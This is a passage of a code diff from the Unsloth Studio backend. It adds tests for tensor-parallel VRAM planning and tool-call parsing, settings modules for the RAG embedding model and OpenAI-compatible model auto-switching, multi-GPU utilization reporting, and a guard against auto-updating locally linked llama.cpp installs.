# no totals usable is free*frac. The per-device cc is subtracted so the smaller
# card isn't weighted above its real usable budget (see below).
cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024)
assert cc_per_dev > 0
assert ts == [
int(48000 * _CTX_FIT_VRAM_FRACTION - reserve),
int(24000 * _CTX_FIT_VRAM_FRACTION - reserve),
int(48000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev),
int(24000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev),
]
assert ec < 131072 # capped below native
@ -819,6 +823,75 @@ def test_tp_plan_mtp_reserves_extra_and_shrinks_context():
assert ec_mtp < ec_no
def test_tp_plan_reserves_context_linear_compute_buffer():
# Tensor mode replicates the compute graph on every device; measured on
# Qwen3.5-9B at f16 the per-device buffer grows ~n_ubatch*2 B/token (~1024
# B/tok), so the fit must reserve n_dev x that on top of the flat reserve or
# it over-pins and OOMs at high context. The chosen KV must leave room for it.
b, (ec, mac, gi, ts) = _plan(50)
cc = len(gi) * b._compute_buffer_ctx_bytes(ec, None, "f16")
assert cc > 0
assert b._estimate_kv_cache_bytes(ec) + cc <= _kv_budget_b(50)
def test_tp_plan_context_shrinks_vs_compute_unaware():
# With the context-linear term the pinned context is strictly below what a
# KV-only (compute-unaware) fit at the same budget would allow.
b, (ec, *_r) = _plan(50)
b2 = _kv_seeded_backend()
b2._embedding_length = 0 # kills the context-linear compute term (returns 0)
ec_naive, *_r2 = b2._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)
assert ec < ec_naive
def test_tp_plan_soft_overhead_shrinks_context():
# The CUDA-ctx / mmproj / MTP-draft reserve the layer path folds into the fit
# budget (model_size_fit) must also shrink the tensor context. Tensor mode has
# no --fit valve, so an unreserved overshoot OOMs at startup instead of
# offloading. A non-zero soft_overhead must pin a strictly smaller context.
b = _kv_seeded_backend()
ec_no, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)
ec_soft, *_r2 = b._plan_tensor_parallel(
_ASYM, int(50 * _GB), 131072, soft_overhead_bytes = 2 * _GB
)
assert 2048 < ec_soft < ec_no
def test_tp_plan_soft_overhead_reserved_against_budget():
# The pinned context must leave the whole soft reserve free on top of KV and
# the replicated context compute, so the real footprint stays within the pool.
b = _kv_seeded_backend()
soft = 2 * _GB
ec, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072, soft_overhead_bytes = soft)
cc = len(_ASYM) * b._compute_buffer_ctx_bytes(ec, None, None)
assert b._estimate_kv_cache_bytes(ec) + cc + soft <= _kv_budget_b(50)
def test_tp_plan_weighted_split_keeps_small_gpu_within_budget():
# Regression: the weighted split must subtract each device's replicated context
# compute (cc_bytes/n_dev), not just the flat reserve. Otherwise the smaller
# card is weighted above its usable budget and OOMs at launch. Model the split:
# llama.cpp distributes weights+KV by the tensor-split weights; every device
# also holds the flat reserve plus its per-device context compute.
b, (ec, mac, gi, ts) = _plan(50)
assert ts is not None and len(ts) == len(gi) == 2
reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024)
free_by_idx = {0: 48000, 1: 24000}
split_content_mib = (int(50 * _GB) + b._estimate_kv_cache_bytes(ec)) / (1024 * 1024)
total_weight = sum(ts)
for w, idx in zip(ts, gi):
placed = split_content_mib * w / total_weight
usable = free_by_idx[idx] * _CTX_FIT_VRAM_FRACTION
assert placed + reserve + cc_per_dev <= usable + 1 # +1 MiB for int rounding
# Lock the regression: under the old formula (flat reserve only) the smaller
# card was placed over its budget; the cc term is what pulls it back.
old_adj = [int(free_by_idx[i] * _CTX_FIT_VRAM_FRACTION - reserve) for i in gi]
old_small_placed = split_content_mib * old_adj[1] / sum(old_adj)
assert old_small_placed + reserve + cc_per_dev > free_by_idx[1] * _CTX_FIT_VRAM_FRACTION
def test_tp_plan_no_kv_metadata_floors_context():
b = LlamaCppBackend() # no KV metadata -> can't size safely
ec, mac, gi, ts = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)

37
studio/backend/tests/test_tool_call_parser_strict.py
View file

@ -71,6 +71,28 @@ class TestFunctionStyleTrailingText:
call = _only(text)
assert call == {"name": "python", "arguments": {"code": 'print("</function>")'}}
def test_closed_function_with_trailing_prose_heal_path(self):
# Regression: the heal / finalize path (allow_incomplete=True) used to fold
# </parameter></function> and the trailing prose into the argument and drop
# the prose from visible content. It must now match the strict path -- keep a
# clean argument and leave the trailing prose outside the call span.
text = "<function=web_search><parameter=query>cats</parameter></function> trailing words"
calls = parse_tool_calls_from_text(text, allow_incomplete = True)
assert len(calls) == 1
fn = calls[0]["function"]
assert fn["name"] == "web_search"
assert json.loads(fn["arguments"]) == {"query": "cats"}
# The trailing prose sits outside the removed span, so it stays visible.
from core.tool_healing import (
parse_tool_calls_from_text as _parse_with_spans,
)
_calls, spans = _parse_with_spans(text, allow_incomplete = True, with_spans = True)
out = text
for s, e in sorted(spans, reverse = True):
out = out[:s] + out[e:]
assert out == " trailing words"
def test_incomplete_function_without_close_is_still_rejected(self):
text = "<function=web_search><parameter=query>weather london"
assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
@ -160,3 +182,18 @@ class TestHealingPathUnaffected:
calls = parse_tool_calls_from_text(text, allow_incomplete = True)
assert len(calls) == 1
assert calls[0]["function"]["name"] == "web_search"
def test_closed_function_call_keeps_trailing_prose_out_of_arguments(self):
# allow_incomplete exists for truncated output; a call that DID close
# must parse identically to strict mode, leaving prose after
# </function> out of the last parameter and out of the removal span.
from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
text = "<function=web_search><parameter=query>cats</parameter></function> trailing"
calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True)
(call,) = calls
assert json.loads(call["function"]["arguments"]) == {"query": "cats"}
(span,) = spans
assert text[span[0] : span[1]] == (
"<function=web_search><parameter=query>cats</parameter></function>"
)

59
studio/backend/tests/test_torchao_select.py
View file

@ -12,6 +12,7 @@ from __future__ import annotations
import sys
from pathlib import Path
from unittest.mock import MagicMock
import pytest
@ -71,12 +72,58 @@ def test_default_spec_matches_table(monkeypatch):
assert mod._select_torchao_spec("2.9.0") == mod._TORCHAO_DEFAULT_SPEC
def test_skips_torchao_on_windows_rocm():
@pytest.mark.parametrize(
("rocm_windows_torch_installed", "installed_torch_is_windows_rocm"),
[
(True, False),
(False, True),
],
)
def test_skips_torchao_on_windows_rocm(
monkeypatch, tmp_path, rocm_windows_torch_installed, installed_torch_is_windows_rocm
):
"""The overrides step must skip torchao on Windows ROCm: no working build exists
there (it imports an absent c10d backend and crashes transformers.quantizers),
so the installer skips it and relies on the runtime stub instead."""
source = _INSTALL_SCRIPT.read_text(encoding = "utf-8")
# Branches on the Windows-ROCm marker set by _ensure_rocm_torch ...
assert "elif _rocm_windows_torch_installed:" in source
# ... and reports the skip in the progress label.
assert "dependency overrides (skipped, Windows ROCm)" in source
mod = _load_module(monkeypatch)
installed_specs: list[str] = []
progress_labels: list[str] = []
def _record_pip_install(*args, **kwargs):
installed_specs.extend(str(arg) for arg in args)
return 0
unstructured_plugin = tmp_path / "unstructured"
github_plugin = tmp_path / "github"
unstructured_plugin.mkdir()
github_plugin.mkdir()
subprocess_result = MagicMock()
subprocess_result.returncode = 0
subprocess_result.stdout = ""
monkeypatch.setenv("SKIP_STUDIO_BASE", "1")
monkeypatch.setattr(mod, "IS_WINDOWS", True)
monkeypatch.setattr(mod, "IS_MACOS", False)
monkeypatch.setattr(mod, "IS_MAC_ARM", False)
monkeypatch.setattr(mod, "NO_TORCH", False)
monkeypatch.setattr(mod, "_rocm_windows_torch_installed", rocm_windows_torch_installed)
monkeypatch.setattr(
mod, "_installed_torch_is_windows_rocm", lambda: installed_torch_is_windows_rocm
)
monkeypatch.setattr(mod, "_bootstrap_uv", lambda: False)
monkeypatch.setattr(mod, "_repair_bad_anyio", lambda: None)
monkeypatch.setattr(mod, "_ensure_rocm_torch", lambda: None)
monkeypatch.setattr(mod, "_ensure_cuda_torch", lambda: None)
monkeypatch.setattr(mod, "_has_usable_nvidia_gpu", lambda: True)
monkeypatch.setattr(mod, "run", lambda *args, **kwargs: None)
monkeypatch.setattr(mod, "pip_install", _record_pip_install)
monkeypatch.setattr(mod, "_progress", lambda label: progress_labels.append(label))
monkeypatch.setattr(mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin)
monkeypatch.setattr(mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin)
monkeypatch.setattr(mod.subprocess, "run", lambda *args, **kwargs: subprocess_result)
assert mod.install_python_stack() == 0
assert not any(spec.startswith("torchao") for spec in installed_specs)
assert "dependency overrides (skipped, Windows ROCm)" in progress_labels

124
studio/backend/utils/embedding_model_settings.py Normal file
View file

@ -0,0 +1,124 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Persisted RAG embedding-model override (Settings -> General).
The stored value takes precedence over the ``RAG_EMBEDDING_MODEL`` env default in
``core.rag.config``. Vectors from different models live in different spaces, so
documents already indexed under the old model must be re-uploaded after a change
(the UI warns about this).
"""
from __future__ import annotations
import threading
import time
from typing import Any
EMBEDDING_MODEL_SETTING_KEY = "rag_embedding_model"
MAX_EMBEDDING_MODEL_LENGTH = 512
# The effective model is consulted on the embedder hot path (once per embed /
# tokenize call during ingestion), so the stored value is cached briefly instead
# of hitting sqlite each time. Writes invalidate immediately in-process; other
# readers converge within the TTL.
_CACHE_TTL_S = 2.0
_cached: tuple[float, str | None] | None = None
# Bumped on every write/invalidate. A reader captures it before the DB read and
# only fills the cache if it is unchanged afterward, so a read that overlapped a
# save cannot repopulate the cache with the pre-save value for the whole TTL.
_generation = 0
_lock = threading.Lock()
def _invalidate_cache() -> None:
global _cached, _generation
with _lock:
_cached = None
_generation += 1
def default_embedding_model() -> str:
"""The env/default model from rag config (``RAG_EMBEDDING_MODEL`` or bge)."""
from core.rag import config
return config.EMBEDDING_MODEL
def _coerce_embedding_model(value: Any) -> str | None:
if not isinstance(value, str):
return None
cleaned = value.strip()
if not cleaned or len(cleaned) > MAX_EMBEDDING_MODEL_LENGTH:
return None
# Newlines/control chars are never valid in a repo id or path.
if any(ord(ch) < 32 for ch in cleaned):
return None
return cleaned
def validate_embedding_model(value: Any) -> str:
cleaned = _coerce_embedding_model(value)
if cleaned is None:
raise ValueError(
"Embedding model must be a Hugging Face repo id (e.g. "
"'unsloth/bge-small-en-v1.5') or a local model path, up to "
f"{MAX_EMBEDDING_MODEL_LENGTH} characters."
)
return cleaned
def get_stored_embedding_model() -> str | None:
"""The persisted override, or None when unset/invalid."""
global _cached
now = time.monotonic()
with _lock:
cached = _cached
if cached is not None and now - cached[0] < _CACHE_TTL_S:
return cached[1]
gen = _generation
try:
from storage.studio_db import get_app_setting
stored = get_app_setting(EMBEDDING_MODEL_SETTING_KEY, None)
except Exception:
# Transient store failure: keep the last known value instead of
# silently reverting the embed/search hot path to the default model,
# which would mix vector spaces mid-ingestion.
with _lock:
if _cached is not None:
_cached = (time.monotonic(), _cached[1])
return _cached[1]
return None
value = _coerce_embedding_model(stored)
with _lock:
# Only cache when no save landed while we were reading; otherwise this
# value may be pre-save, and caching it would mask the new one for the
# TTL. The next reader re-reads the committed value.
if _generation == gen:
_cached = (time.monotonic(), value)
return value
def get_rag_embedding_model() -> str:
"""Effective embedding model: persisted override, else env/default."""
return get_stored_embedding_model() or default_embedding_model()
def set_rag_embedding_model(value: Any) -> str:
parsed = validate_embedding_model(value)
from storage.studio_db import upsert_app_settings
# Saving the default is not an override; keeps is_custom (and the UI's
# reset affordance) honest.
stored = parsed if parsed != default_embedding_model() else None
upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: stored})
_invalidate_cache()
return parsed
def reset_rag_embedding_model() -> str:
"""Clear the override; returns the (env/default) model now in effect."""
from storage.studio_db import upsert_app_settings
upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: None})
_invalidate_cache()
return default_embedding_model()

7
studio/backend/utils/hardware/__init__.py
View file

@ -44,6 +44,12 @@ from .vram_estimation import (
estimate_training_vram,
)
def export_capability() -> dict:
"""Return live export capability from the hardware module."""
return _hardware.export_capability()
__all__ = [
"DeviceType",
"DEVICE",
@ -51,6 +57,7 @@ __all__ = [
"IS_ROCM",
"detect_hardware",
"get_device",
"export_capability",
"is_apple_silicon",
"clear_gpu_cache",
"get_gpu_memory_info",

315
studio/backend/utils/hardware/hardware.py
View file

@ -263,6 +263,49 @@ def get_device() -> DeviceType:
return DEVICE
def export_capability() -> dict:
"""Whether model export can run here, with a torch-aware reason when it cannot.
Export runs through Unsloth, which hard-requires an accelerator (it calls ``torch.cuda`` at
import and has no CPU path), so it is supported iff ``get_device() in {CUDA, XPU, MLX}``. The
reason distinguishes a --no-torch install from a bare-CPU host. Safe to call without torch.
Returns {export_supported, export_unsupported_reason, export_unsupported_message}.
"""
if get_device() in (DeviceType.CUDA, DeviceType.XPU, DeviceType.MLX):
return {
"export_supported": True,
"export_unsupported_reason": None,
"export_unsupported_message": None,
}
# No accelerator: name the blocker. Apple Silicon first -- its path is MLX, so "install PyTorch"
# would be wrong advice on a Mac even when torch is also absent.
if is_apple_silicon():
reason = "mlx_unavailable"
message = (
"Export on Apple Silicon requires the MLX stack, which is unavailable or too old. Run "
"`unsloth studio update` to restore MLX and enable export."
)
elif not _has_torch():
reason = "pytorch_not_installed"
message = (
"PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
"(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
)
else:
reason = "no_accelerator"
message = (
"Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported "
"accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export "
"on CPU only.)"
)
return {
"export_supported": False,
"export_unsupported_reason": reason,
"export_unsupported_message": message,
}
def clear_gpu_cache():
"""
Clear GPU memory cache for the current device.
@ -710,82 +753,159 @@ def _rocm_windows_perf_counter_vram_gb() -> tuple[Optional[float], Optional[floa
return None, None
def _gpu_utilization_payload(
device: DeviceType, devices: list[Dict[str, Any]], **metadata: Any
) -> Dict[str, Any]:
"""Keep the legacy primary-GPU shape and append all visible devices."""
backend = _backend_label(device)
normalized = []
for ordinal, raw in enumerate(devices):
dev = dict(raw)
dev.setdefault("available", True)
dev.setdefault("backend", backend)
if dev.get("visible_ordinal") is None:
dev["visible_ordinal"] = ordinal
normalized.append(dev)
normalized.sort(key = lambda dev: dev.get("visible_ordinal", dev.get("index", 0)))
payload: Dict[str, Any] = {
"available": bool(normalized),
"backend": backend,
"devices": normalized,
}
payload.update(metadata)
if normalized:
payload.update(normalized[0])
payload["available"] = True
payload["backend"] = normalized[0].get("backend", backend)
payload["devices"] = normalized
return payload
def get_gpu_utilization() -> Dict[str, Any]:
"""Return a live snapshot of device utilization information."""
"""Live utilization snapshot for the primary GPU plus all visible GPUs."""
device = get_device()
if device == DeviceType.XPU:
result = get_visible_gpu_utilization()
return _gpu_utilization_payload(
device,
result.get("devices", []),
parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []),
index_kind = result.get("index_kind"),
)
if device == DeviceType.CUDA:
result = _smi_query("get_primary_gpu_utilization")
if result is not None:
result["backend"] = _backend_label(device)
if IS_ROCM:
# Fix unified-memory VRAM on AMD iGPUs (Strix Halo etc.).
_reconcile_primary_rocm_unified_memory(result, _get_parent_visible_gpu_spec())
return result
# SMI unavailable. On Windows, use Performance Counters (Task Manager
# source) for system-wide VRAM, covering cross-process usage torch can't see.
parent_visible_spec = _get_parent_visible_gpu_spec()
result = _smi_query(
"get_visible_gpu_utilization",
parent_visible_spec["numeric_ids"],
parent_cuda_visible_devices = parent_visible_spec["raw"],
)
if result is not None and "devices" in result:
devices = result["devices"]
numeric_ids = parent_visible_spec.get("numeric_ids")
if IS_ROCM and numeric_ids is not None:
_reconcile_rocm_unified_memory(result, numeric_ids)
return _gpu_utilization_payload(
device,
devices,
backend_cuda_visible_devices = result.get("backend_cuda_visible_devices"),
parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []),
index_kind = result.get("index_kind"),
)
# Fallback Windows ROCm
if IS_ROCM and platform.system() == "Windows":
_win_used, _win_total = _rocm_windows_perf_counter_vram_gb()
if _win_used is not None and _win_total is not None:
_win_util = _rocm_windows_perf_counter_gpu_util_pct()
return {
"available": True,
"backend": _backend_label(device),
"gpu_utilization_pct": _win_util,
"temperature_c": None,
"vram_used_gb": _win_used,
"vram_total_gb": _win_total,
"vram_utilization_pct": round((_win_used / _win_total) * 100, 1)
if _win_total > 0
else None,
"power_draw_w": None,
"power_limit_w": None,
"power_utilization_pct": None,
}
# Linux: DRM sysfs gives system-wide VRAM across all processes, no tools needed.
return _gpu_utilization_payload(
device,
[
{
"available": True,
"backend": _backend_label(device),
"index": 0,
"visible_ordinal": 0,
"gpu_utilization_pct": _win_util,
"temperature_c": None,
"vram_used_gb": _win_used,
"vram_total_gb": _win_total,
"vram_utilization_pct": round((_win_used / _win_total) * 100, 1)
if _win_total > 0
else None,
"power_draw_w": None,
"power_limit_w": None,
"power_utilization_pct": None,
}
],
)
# Fallback Linux ROCm
if IS_ROCM and platform.system() == "Linux":
_linux_used, _linux_total = _rocm_linux_sysfs_vram_gb()
if _linux_used is not None and _linux_total is not None:
_linux_util = _rocm_linux_sysfs_gpu_busy_pct()
_linux_temp = _rocm_linux_sysfs_temp_c()
_linux_power = _rocm_linux_sysfs_power_w()
return {
"available": True,
"backend": _backend_label(device),
"gpu_utilization_pct": _linux_util,
"temperature_c": _linux_temp,
"vram_used_gb": _linux_used,
"vram_total_gb": _linux_total,
"vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1)
if _linux_total > 0
else None,
"power_draw_w": _linux_power,
"power_limit_w": None,
"power_utilization_pct": None,
}
# Last resort: torch mem_get_info (process-local).
_visible_spec = _get_parent_visible_gpu_spec()
_numeric_ids = _visible_spec.get("numeric_ids") or [0]
_primary_idx = [_numeric_ids[0]] if _numeric_ids else [0]
_torch_devices = _torch_get_per_device_info(_primary_idx)
if _torch_devices:
_td = _torch_devices[0]
_total = _td["total_gb"]
_used = _td["used_gb"]
return {
"available": True,
"backend": _backend_label(device),
"gpu_utilization_pct": None,
"temperature_c": None,
"vram_used_gb": _used,
"vram_total_gb": _total,
"vram_utilization_pct": round((_used / _total) * 100, 1) if _total > 0 else None,
"power_draw_w": None,
"power_limit_w": None,
"power_utilization_pct": None,
}
return _gpu_utilization_payload(
device,
[
{
"available": True,
"backend": _backend_label(device),
"index": 0,
"visible_ordinal": 0,
"gpu_utilization_pct": _linux_util,
"temperature_c": _linux_temp,
"vram_used_gb": _linux_used,
"vram_total_gb": _linux_total,
"vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1)
if _linux_total > 0
else None,
"power_draw_w": _linux_power,
"power_limit_w": None,
"power_utilization_pct": None,
}
],
)
# MLX: _read_apple_gpu_stats() carries both VRAM-used and GPU util%.
# Last resort: torch mem_get_info (process-local) for all visible GPUs
_visible_spec = _get_parent_visible_gpu_spec()
_numeric_ids = _visible_spec.get("numeric_ids") or []
if not _numeric_ids:
visible_count = _torch_get_physical_gpu_count() or 0
_numeric_ids = list(range(visible_count))
_torch_devices = _torch_get_per_device_info(_numeric_ids)
if _torch_devices:
gpu_array = []
for _td in _torch_devices:
_total = _td["total_gb"]
_used = _td["used_gb"]
gpu_array.append(
{
"available": True,
"backend": _backend_label(device),
"index": _td["index"],
"name": _td.get("name", "Unknown"),
"gpu_utilization_pct": None,
"temperature_c": None,
"vram_used_gb": _used,
"vram_total_gb": _total,
"vram_utilization_pct": round((_used / _total) * 100, 1)
if _total > 0
else None,
"power_draw_w": None,
"power_limit_w": None,
"power_utilization_pct": None,
}
)
return _gpu_utilization_payload(device, gpu_array)
# MLX
if device == DeviceType.MLX:
try:
import psutil
@ -793,9 +913,8 @@ def get_gpu_utilization() -> Dict[str, Any]:
total_bytes = psutil.virtual_memory().total
except Exception as e:
logger.error(f"Error getting MLX GPU utilization: {e}")
return {"available": False, "backend": device.value, "error": str(e)}
if not agx:
return {"available": False, "backend": device.value}
return {"available": False, "backend": device.value, "devices": [], "error": str(e)}
allocated_bytes = agx.get("vram_used_bytes", 0) or 0
vram_used_gb = allocated_bytes / (1024**3)
total_gb = total_bytes / (1024**3)
@ -814,37 +933,51 @@ def get_gpu_utilization() -> Dict[str, Any]:
from . import apple
return {
"available": True,
"backend": device.value,
"gpu_utilization_pct": agx.get("utilization_pct") if agx else None,
"temperature_c": apple.read_gpu_temperature_c(),
"vram_used_gb": round(vram_used_gb, 2),
"vram_total_gb": round(total_gb, 2),
"vram_utilization_pct": (
round((vram_used_gb / total_gb) * 100, 1) if total_gb > 0 else None
),
"power_draw_w": apple.read_gpu_power_w(),
"power_limit_w": None,
"power_utilization_pct": None,
}
return _gpu_utilization_payload(
device,
[
{
"available": True,
"backend": device.value,
"index": 0,
"visible_ordinal": 0,
"gpu_utilization_pct": agx.get("utilization_pct") if agx else None,
"temperature_c": apple.read_gpu_temperature_c(),
"vram_used_gb": round(vram_used_gb, 2),
"vram_total_gb": round(total_gb, 2),
"vram_utilization_pct": round((vram_used_gb / total_gb) * 100, 1)
if total_gb > 0
else None,
"power_draw_w": apple.read_gpu_power_w(),
"power_limit_w": None,
"power_utilization_pct": None,
}
],
)
mem = get_gpu_memory_info()
if device != DeviceType.CPU and mem.get("available"):
return {
"available": True,
"backend": _backend_label(device),
"gpu_utilization_pct": None,
"temperature_c": None,
"vram_used_gb": round(mem.get("allocated_gb", 0), 2),
"vram_total_gb": round(mem.get("total_gb", 0), 2),
"vram_utilization_pct": round(mem.get("utilization_pct", 0), 1),
"power_draw_w": None,
"power_limit_w": None,
"power_utilization_pct": None,
}
return _gpu_utilization_payload(
device,
[
{
"available": True,
"backend": _backend_label(device),
"index": mem.get("device", 0),
"visible_ordinal": 0,
"gpu_utilization_pct": None,
"temperature_c": None,
"vram_used_gb": round(mem.get("allocated_gb", 0), 2),
"vram_total_gb": round(mem.get("total_gb", 0), 2),
"vram_utilization_pct": round(mem.get("utilization_pct", 0), 1),
"power_draw_w": None,
"power_limit_w": None,
"power_utilization_pct": None,
}
],
)
return {"available": False, "backend": _backend_label(device)}
return {"available": False, "backend": _backend_label(device), "devices": []}
def _apply_unified_memory_correction(

75
studio/backend/utils/llama_cpp_update.py
View file

@ -324,12 +324,74 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:
}
def _is_external_link(path: Optional[Path]) -> bool:
"""True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink
or a Windows directory junction / reparse point. Such a link resolves into
the user's own llama.cpp checkout, so Studio must never auto-update it."""
if path is None:
return False
try:
if os.path.islink(path):
return True
except OSError:
return False
if os.name == "nt":
try:
import stat
attrs = os.lstat(path).st_file_attributes # type: ignore[attr-defined]
return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT)
except (OSError, AttributeError):
return False
return False
def _active_install_is_local_link(binary: Optional[str]) -> bool:
"""True when the active llama-server resolves through a --with-llama-cpp-dir
local link at the canonical llama.cpp directory. An update would write
through that link into the user's own checkout (or fail), so the install is
treated as externally managed: no update is offered or applied. Checks only
up to and including the ``llama.cpp`` dir so a symlinked HOME / studio root
above it can't trip a false positive."""
if not binary:
return False
for parent in Path(binary).parents:
if _is_external_link(parent):
return True
if parent.name == "llama.cpp":
break
return False
def _local_link_status() -> dict:
"""Status payload for a local-link install: unmanaged, no update offered."""
with _job_lock:
job = dict(_job)
return {
"supported": False,
"update_available": False,
"stale": False,
"installed_tag": None,
"latest_tag": None,
"published_repo": None,
"installed_at_utc": None,
"age_days": None,
"source_build": False,
"local_link": True,
"update_size_bytes": None,
"job": job,
}
def get_update_status(*, force_refresh: bool = False) -> dict:
"""Report whether a newer prebuilt exists plus the current job state.
force_refresh bypasses the 24h release cache for an explicit "check now".
"""
binary = _find_binary()
# A --with-llama-cpp-dir local link is the user's own tree; never offer to
# replace it. Bail before any network/freshness work.
if _active_install_is_local_link(binary):
return _local_link_status()
marker = read_install_marker(binary)
with _job_lock:
@ -537,6 +599,19 @@ def start_update() -> dict:
"""Kick off a background update. Idempotent: a second call while one is
running returns the in-flight job rather than starting another."""
binary = _find_binary()
# Refuse to update a --with-llama-cpp-dir local link: installing a prebuilt
# here would write through the link into the user's own checkout (or fail)
# and silently drop the link the flag created.
if _active_install_is_local_link(binary):
return {
"started": False,
"reason": "local_link",
"message": (
"llama.cpp is a local directory linked with --with-llama-cpp-dir; "
"Studio won't replace it. Update your own llama.cpp checkout instead."
),
"job": get_update_status()["job"],
}
marker = read_install_marker(binary)
script = _installer_script()
if script is None:

180
studio/backend/utils/openai_auto_switch_settings.py Normal file
View file

@ -0,0 +1,180 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Persisted opt-in controls for OpenAI-compatible model auto-switching.
Two settings, both off by default so existing API behavior is unchanged:
- ``openai_api_auto_switch_model``: when on, a ``/v1`` request whose ``model``
names a downloaded local GGUF different from the loaded one transparently
loads it before serving (llama-swap-style). Unknown names pass through.
- ``openai_api_auto_unload_idle_seconds``: when > 0, the loaded GGUF is
unloaded after this many idle seconds to free VRAM.
The idle TTL can also be set at startup via the ``UNSLOTH_MODEL_IDLE_TTL`` env
var. Unlike the stored setting (which stays gated on auto-switch), the env value
is a standalone default that enables idle-unload even with auto-switch off, for
headless/container deploys; an explicit UI/API value still overrides it.
Reads are cached for a short window because these are consulted on the
per-request hot path; writes invalidate the cache.
"""
from __future__ import annotations
import os
import threading
import time
from typing import Any, Optional
OPENAI_AUTO_SWITCH_SETTING_KEY = "openai_api_auto_switch_model"
AUTO_UNLOAD_IDLE_SETTING_KEY = "openai_api_auto_unload_idle_seconds"
MODEL_OVERRIDES_SETTING_KEY = "openai_api_auto_switch_overrides"
MODEL_IDLE_TTL_ENV_VAR = "UNSLOTH_MODEL_IDLE_TTL"
DEFAULT_OPENAI_AUTO_SWITCH_ENABLED = False
DEFAULT_AUTO_UNLOAD_IDLE_SECONDS = 0
_CACHE_TTL_S = 2.0
_cache_lock = threading.Lock()
_cache: dict[str, tuple[float, Any]] = {}
def _coerce_bool(value: Any) -> bool | None:
if isinstance(value, bool):
return value
if isinstance(value, str):
normalized = value.strip().lower()
if normalized in {"1", "true", "yes", "on"}:
return True
if normalized in {"0", "false", "no", "off", ""}:
return False
return None
def _coerce_int(value: Any) -> int | None:
try:
return max(0, int(value))
except (TypeError, ValueError):
return None
def _cached_setting(key: str, default: Any) -> Any:
"""Read an app setting, memoized for _CACHE_TTL_S to spare the hot path."""
now = time.monotonic()
with _cache_lock:
hit = _cache.get(key)
if hit is not None and now - hit[0] < _CACHE_TTL_S:
return hit[1]
try:
from storage.studio_db import get_app_setting
stored = get_app_setting(key, None)
except Exception:
stored = None
value = default if stored is None else stored
with _cache_lock:
_cache[key] = (now, value)
return value
def _invalidate(key: str) -> None:
with _cache_lock:
_cache.pop(key, None)
def get_openai_auto_switch_enabled() -> bool:
parsed = _coerce_bool(_cached_setting(OPENAI_AUTO_SWITCH_SETTING_KEY, None))
return parsed if parsed is not None else DEFAULT_OPENAI_AUTO_SWITCH_ENABLED
def _stored_idle_seconds() -> Optional[int]:
"""The persisted idle TTL as an int, or None when never set."""
return _coerce_int(_cached_setting(AUTO_UNLOAD_IDLE_SETTING_KEY, None))
def _env_idle_seconds() -> Optional[int]:
"""UNSLOTH_MODEL_IDLE_TTL as a non-negative seconds value, or None if unset/invalid."""
raw = os.environ.get(MODEL_IDLE_TTL_ENV_VAR)
if raw is None or not raw.strip():
return None
return _coerce_int(raw)
def get_stored_auto_unload_idle_seconds() -> int:
"""The persisted idle-unload TTL, independent of whether auto-switch is on.
The settings UI reads this so it can display and round-trip the saved value;
toggling auto-switch off must not erase it. Falls back to the env override so
the UI shows the startup default. The idle loop uses the gated reader below.
"""
stored = _stored_idle_seconds()
if stored is not None:
return stored
env = _env_idle_seconds()
return env if env is not None else DEFAULT_AUTO_UNLOAD_IDLE_SECONDS
def get_auto_unload_idle_seconds() -> int:
"""Effective idle TTL the idle loop runs on (0 = never unload)."""
stored = _stored_idle_seconds()
if stored is not None:
# An explicit UI/API value stays gated on auto-switch: off reports 0 so the
# off state is identical to pre-feature.
return stored if get_openai_auto_switch_enabled() else 0
# No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that
# enables idle-unload even with auto-switch off (headless/container deploys).
env = _env_idle_seconds()
return env if env is not None else 0
def set_openai_auto_switch(enabled: Any, idle_seconds: Any) -> tuple[bool, int]:
"""Set both auto-switch flags in one transaction so a settings PUT can't leave
one key updated and the other stale. Both values are coerced before any write,
so an invalid value raises without persisting either."""
parsed_enabled = _coerce_bool(enabled)
if parsed_enabled is None:
raise ValueError("OpenAI auto-switch must be true or false.")
parsed_idle = _coerce_int(idle_seconds)
if parsed_idle is None:
raise ValueError("Auto-unload idle seconds must be a non-negative integer.")
from storage.studio_db import upsert_app_settings
upsert_app_settings(
{OPENAI_AUTO_SWITCH_SETTING_KEY: parsed_enabled, AUTO_UNLOAD_IDLE_SETTING_KEY: parsed_idle}
)
_invalidate(OPENAI_AUTO_SWITCH_SETTING_KEY)
_invalidate(AUTO_UNLOAD_IDLE_SETTING_KEY)
return parsed_enabled, parsed_idle
def get_model_overrides() -> dict[str, dict]:
"""Per-model launch overrides keyed by model id ({llama_extra_args, max_seq_length})."""
raw = _cached_setting(MODEL_OVERRIDES_SETTING_KEY, None)
return raw if isinstance(raw, dict) else {}
